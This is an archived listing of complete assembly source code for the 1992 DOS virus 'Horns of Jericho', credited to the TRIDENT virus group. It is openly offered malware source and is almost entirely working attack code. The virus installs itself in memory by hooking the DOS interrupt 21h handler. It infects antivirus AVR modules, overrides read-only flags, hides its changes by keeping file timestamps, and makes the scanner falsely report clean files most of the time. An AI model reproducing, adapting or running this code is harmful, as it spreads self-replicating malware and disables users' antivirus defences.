home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / CROMCRUA.ZIP / HORNSOFJ.ZIP / HORNS.A86 next >
Encoding:
Text File  |  1995-05-23  |  12.4 KB  |  390 lines

  1. ;*** HORNS OF JERICHO/AVR-VIR VIRUS SOURCE CODE ***
  2. ; (c) 1992 Crom-Cruach / TRIDENT Virus Research Group
  3. ;
  4. ; Actual virus size: 624 bytes
  5. ;
  6. ;- Research only, of course.
  7. ;- Don't be lame by changing the name, please
  8. ;
  9. ;  This virus is a high memory resident infector of AVR files.
  10. ;  It disables scanning by the AVR 3 out of 4 times (random)
  11. ;
  12. ;  Date/time are saved & it overrides the R/O flag.
  13. ;
  14. ;  MAKERES is the code called by TB-Scan
  15. ;  NEW21 is the I21 handler
  16. ;
  17. ;  Written in A86 assembly
  18. ;
  19. ;  Greetz 2 - NuKE, Phalcon/SKISM, YAM & Demoralized Youth
  20. ;  Gruntz (might be destructive) 2 all lamers, see above
  21. ;
  22. ;  I included a FAKE Avr module which doesn't detect Coffeeshop-3,
  23. ;  not to spread worldwide, ofcourse, but to show how it infects.
  24.  
  25. Start:          jmp long EndMem         ; Jump is replaced by '[Ho'
  26.  
  27.                 db 'rns Of Jericho (c) 92 Crom-Cruach/Trident]'
  28.  
  29.  
  30. ;*** Executed by scanner, installs I21 handler ***
  31.  
  32. MakeRes:        cld
  33.                 xor di,di
  34.                 mov ds,di
  35.                 mov dx,[086]                    ; Get seg I21
  36.                 mov bp,[046C]                   ; Get random nr.
  37.                 mov ax,044A0                    ; Already installed?
  38.                 int 021
  39.                 cmp ah,0FF                      ; Yep, leave
  40.                 je Restore
  41.  
  42.                 mov ah,062                      ; Get curr. PSP ofs
  43.                 int 021
  44.                 xchg bx,ax                      ; MOV AX,BX (but 1 byte)
  45.  
  46.                 cmp ax,si                       ; Prog-MCB-Seg < I21 seg?
  47.                 jb Restore                      ; Yes; Quit
  48.  
  49.                 dec ax
  50. LoopMCB:        mov ds,ax
  51.  
  52.                 cmp byte ptr [di],'Z'           ; [0] (but it's shorter)
  53.                 je Got_EndMCB
  54.                 add ax,[di+3]                   ; [3] (^^)
  55.                 inc ax
  56.                 jmp short LoopMCB
  57.  
  58. Got_EndMCB:     mov bx,[di+3]                   ; [3]
  59.  
  60.                 cmp bx,VirPars+01000            ; Place for vir + 64K spare?
  61.                 jb Restore
  62.                 sub bx,VirPars                  ; Yep
  63.  
  64.                 mov [di+3],bx                   ; [3]; Decrease memory
  65.  
  66.                 add ax,bx
  67.                 sub ax,(offset StartPar-1)      ; - startpar + 1 (MCB_par)
  68.                 mov es,ax                       ; ES = seg high-mem for vir
  69.  
  70.                 push cs
  71.                 pop ds
  72.                 mov cx,VirSize
  73.  
  74. HereVirOfs:     mov si,offset Start
  75.                 mov di,offset Start
  76.                 repz movsb                      ; Move vir naar high mem
  77.  
  78.                 mov ds,cx                       ; cx is zero
  79.                 mov ax,[084]
  80.                 mov word ptr es:[I21Adr],ax
  81.                 mov word ptr es:[I21Adr+2],dx   ; already asked at begin
  82.                 cli
  83.                 mov word ptr [084],offset New21
  84.                 mov [086],es
  85.                 sti
  86.  
  87. Restore:
  88.                 test bp,3
  89.                 jz GoAVR                    ; Exec. AVR only 1 out of 4 times
  90.                 clc
  91.                 retf 0A                 ; Tell scanner - no virus found.
  92. GoAVR:
  93.                 mov si,048                      ; Entry point of AVR
  94.                 push cs
  95.                 pop ds
  96.                 sub word ptr [03C],WholePars
  97.                 mov di,[03C]                    ; Size of real AVR
  98.  
  99.                 pop [di+offset ReturnAVRAddr-offset Start] ;Save addr. scanner
  100.                 pop [di+offset ReturnAVRAddr-offset Start+2]
  101.  
  102.                 push cs                         ; New AVR-return address
  103.                 add di,offset AfterAVR-offset Start
  104.                 push di
  105.                 mov word ptr [si],020CDh    ; Restore orig. AVR bytes
  106. Min2Org:        mov byte ptr [si+2],090     ; (Now: return to DOS I20)
  107. Min1Org:        jmp si
  108.  
  109.  
  110. ;*** Misc. procedures ***
  111.  
  112. ReadFile:       push ax                         ; Read part of AVR file
  113.                 mov ah,03F
  114.                 mov dx,offset RdBuf
  115.                 int 021                         ; bx must be handle
  116.                 cmp ax,cx                       ; Return carry if read<asked
  117.                 pop ax
  118.                 ret
  119.  
  120. SaveRegs:       mov cs:SaveDs,ds
  121.                 push cs
  122.                 pop ds
  123.                 mov SaveAx,ax
  124.                 mov SaveCx,cx
  125.                 mov SaveDx,dx
  126.                 mov SaveSi,si
  127.                 mov SaveDi,di
  128.                 ret
  129.  
  130. GetRegs:        push cs
  131.                 pop ds
  132.                 mov ax,SaveAx
  133.                 mov cx,SaveCx
  134.                 mov dx,SaveDx
  135.                 mov si,SaveSi
  136.                 mov di,SaveDi
  137.                 mov ds,SaveDs
  138.                 ret
  139.  
  140. MakeSum:        push bx                 ; save handle
  141. SumLoop:        xchg bx,ax              ;mov bx,ax; but in 1 byte
  142.                 shl bx,1
  143.                 lodsb
  144.                 add ax,bx
  145.                 mov ah,bh
  146.                 test ah,080
  147.                 jz NoXor
  148.                 xor ax,0A097
  149. NoXor:          loop SumLoop
  150.                 pop bx
  151.                 ret
  152.  
  153. GoBegFile:      push cx
  154.                 push dx
  155.                 mov ax,04200            ; Go to beg. of file
  156.                 xor cx,cx
  157.                 cwd                     ; MOV DX,0 1 byte (AX<8000)
  158.                 int 021                 ; BX must be file handle
  159.                 pop dx
  160.                 pop cx
  161.                 ret
  162.  
  163.  
  164. ;*** Saved data - The filehandle (FFFF = no file)
  165.  
  166. FHandle         dw 0FFFF
  167.  
  168.  
  169.  
  170.  
  171. ;****** NEW I21 HANDLER ******
  172.  
  173. New21:
  174.  
  175. ;--- If ax = 44A0: Ah->FF; is sign: Vir already installed ---
  176.  
  177.                 cmp ax,044A0
  178.                 jne NoF
  179.                 cbw             ; Al is signed; AH -> FF
  180.                 iret
  181.  
  182. ;--- On 3D-Open, check if file is AVR, & if so, save handle ---
  183.  
  184. NoF:            cmp ah,3Dh              ; Read?
  185.                 jne Close
  186.                 test al,3
  187.                 jnz Go21                ; He wanted to write as well!
  188.                 cmp cs:FHandle,0FFFF
  189.                 jne Go21                ; Already a file traced
  190.                 push ds
  191.                 call SaveRegs
  192.                 pop ds
  193.                 cld
  194.                 mov si,dx
  195.                 cmp word ptr [si],':C'          ; file on c-drive?
  196.                 jne JDos                      ; No; quit
  197. SrchEnd:        lodsb                           ; end of filename
  198.                 cmp al,0
  199.                 jne SrchEnd
  200.                 cmp word ptr [si-5],'A.'        ; .A?
  201.                 jne JDos
  202.                 cmp word ptr [si-3],'RV'        ; VR?
  203.                 jne JDos
  204.  
  205. ;*** Clear R/O flag ***
  206.                 mov ax,04300                    ; Get file attr.
  207.                 int 021
  208.                 jc JDos
  209.                 mov cs:Attr,cx
  210.                 test cl,1
  211.                 jz IsOk                         ; No R/O flag set
  212.                 mov ax,04301
  213.                 and cl,0FE                      ; Clear flag
  214.                 int 021
  215.                 jc JDos
  216. IsOk:
  217.                 call GetRegs
  218.                 or al,2                         ; Read & write!
  219.                 int 021                         ; Try opening file
  220.                 pushf
  221.                 push ax
  222.                 push cx
  223.                 mov ax,04301
  224.                 mov cx,cs:Attr
  225.                 int 021
  226.                 pop cx
  227.                 pop ax
  228.                 popf
  229.                 jnc Save_Handle                   ; Err, Quit&Try open w/o write
  230. JDos:           jmp short Go2Dos
  231. Save_Handle:    mov cs:FHandle,ax
  232.                 retf 2
  233.  
  234.  
  235. ;--- On 3E-Close, infect AVR if not already infected ---
  236.  
  237. Close:          cmp ah,03E                      ; Close?
  238.                 jne Go21                        ; No, quit
  239.                 cmp bx,cs:FHandle               ; Is traced AVR module?
  240.                 je SameFile                     ; No, quit
  241. Go21:           jmp i21Jmp
  242. SameFile:       mov word ptr cs:FHandle,0FFFF   ; Clear FHandle
  243.                 call SaveRegs
  244.                 call GoBegFile
  245.                 mov cx,050
  246.                 call ReadFile
  247.                 jb Go2Dos                    ; Can't be <50h bytes.
  248.  
  249. ;Test if file is a good AVR file
  250.                 mov si,dx                       ; ofs. RdBuf
  251.  
  252.                 cmp byte ptr [si+048],0E9       ; Infected?
  253.                 je Go2Dos                            ; Yeah, quit
  254.  
  255.                 cmp byte ptr [si+041],0         ; Check first 0
  256. Ne_Ret:         jne Go2Dos
  257.                 cmp word ptr [si+042],1         ; Check 1 0
  258.                 jne Go2Dos
  259.  
  260. ;Write jump to end-of-AVR
  261.                 mov ax,word ptr [si+048]        ; Save org. bytes
  262.                 mov [Min2Org-2],ax
  263.                 mov al,byte ptr [si+04A]
  264.                 mov [Min1Org-1],al
  265.  
  266.                 mov ax,word ptr [si+03C]        ; Length of AVR
  267.                 test al,0F                              ; Not /16?
  268.                 jz No_ret
  269. Go2Dos:         jmp short Quit2Dos
  270.  
  271. No_Ret:
  272.                 add word ptr [si+03C],WholePars ; Add size of virus
  273.  
  274.                 mov [HereVirOfs+1],ax           ; Write ofs of virus (for move)
  275.  
  276.                 mov di,ax
  277.                 sub di,cx                       ; DI = bytes still to read
  278.  
  279.                 mov byte ptr [si+048],0E9
  280.                 add ax,offset MakeRes-offset Start-048-3 ; set jmp 2 vir
  281.                 mov [si+049],ax              ; jump on start
  282.                 mov [offset ReturnAVR-2],ax             ; restore-jump
  283.  
  284.                 call GoBegFile
  285.  
  286.                 mov ah,040                      ; Write header, with JMP added
  287.                 int 021                         ; cx still 50h, dx still RdBuf
  288.  
  289.                 xor ax,ax                       ; chksum 0
  290.  
  291.  
  292. ;*** CSUM Calculate. Here of file - result in AX ***
  293.  
  294. LoopCode:
  295.                 call MakeSum
  296.                 mov si,dx
  297.                 mov cx,di
  298.                 jcxz DoneRead
  299.  
  300. ReadMore:       cmp cx,0100             ; Buffer = 100h bytes
  301.                 jna NoMore
  302.                 mov cx,0100
  303. NoMore:         sub di,cx
  304.                 call ReadFile
  305.                 jmp short LoopCode
  306.  
  307.  
  308. ;*** And of virus itself ***
  309.  
  310. DoneRead:       mov si,offset Start
  311.                 mov cx,offset WholePars-2
  312.                 mov dx,si
  313.                 call MakeSum
  314.  
  315.                 mov word ptr [si],ax      ; Save sum
  316.                 mov ah,040
  317.                 mov cx,offset WholePars
  318.                 int 021
  319.  
  320. ;*** And preserve file date/time
  321.  
  322.                 mov ax,05700
  323.                 int 021
  324.                 mov ax,05701
  325.                 int 021
  326.  
  327. Quit2Dos:       call GetRegs                    ; Go interrupt, restore regs
  328. I21Jmp:         db 0EA                          ; JMP FAR
  329. I21Adr          dw 0,0
  330.  
  331.  
  332. ;*** After the execution of the org. AVR, it jumps to here ***
  333.  
  334. AfterAVR:       add word ptr cs:[03C],WholePars ; restore to AVR+Virsize
  335.                 mov byte ptr cs:[048],0E9       ; JMP long
  336.                 mov word ptr cs:[049],01234     ; Filled next infection
  337. ReturnAVR:      db 0EA                          ; jump back to scanner
  338.  
  339. EndVir:                                 ;*** END OF WRITTEN VIRUS ***
  340.  
  341. ReturnAVRAddr   dw 0,0
  342.  
  343. RdBuf           db 0100 dup (?)         ;*** ... DATA ONLY IN MEMORY ***
  344.  
  345. SaveAx          dw 0
  346. SaveCx          dw 0
  347. SaveDx          dw 0
  348. SaveSi          dw 0
  349. SaveDi          dw 0
  350. SaveDs          dw 0
  351.  
  352. ReadSize        dw 0
  353.  
  354. Attr            dw 0
  355.  
  356.  
  357. EndMem:                                 ; *** END OF MEMORY DATA ***
  358.  
  359. ;*** This code is only executed for installing the 'mother' into memory.
  360. ; It is not a real part of the virus code.
  361.  
  362.                 mov byte ptr [Start],'['
  363.                 mov word ptr [Start+1],'oH'
  364.                 mov ax,0FFFF
  365.                 int 021
  366.                 cmp ah,0FE
  367.                 je NoInit
  368.                 mov ax,03521
  369.                 int 021
  370.                 mov [I21Jmp+1],bx
  371.                 mov [I21Jmp+3],es
  372.                 mov ax,02521
  373.                 mov dx,offset New21
  374.                 int 021
  375.                 mov ax,03100
  376.                 mov dx,VirPars+010      ; Also PSP required
  377.                 int 021
  378. NoInit:         ret
  379.  
  380.  
  381. VirSize         equ (offset EndVir-offset Start)
  382.  
  383. VirPars         equ (offset EndMem-offset Start+0F) shr 4 ; pars of memory required
  384.  
  385. StartPar        equ offset Start shr 4
  386.  
  387.  
  388. WholePars       equ ((offset EndVir-offset Start+2+0F) shr 4) shl 4
  389.     ; whole pars, 2 bytes CSUM
  390.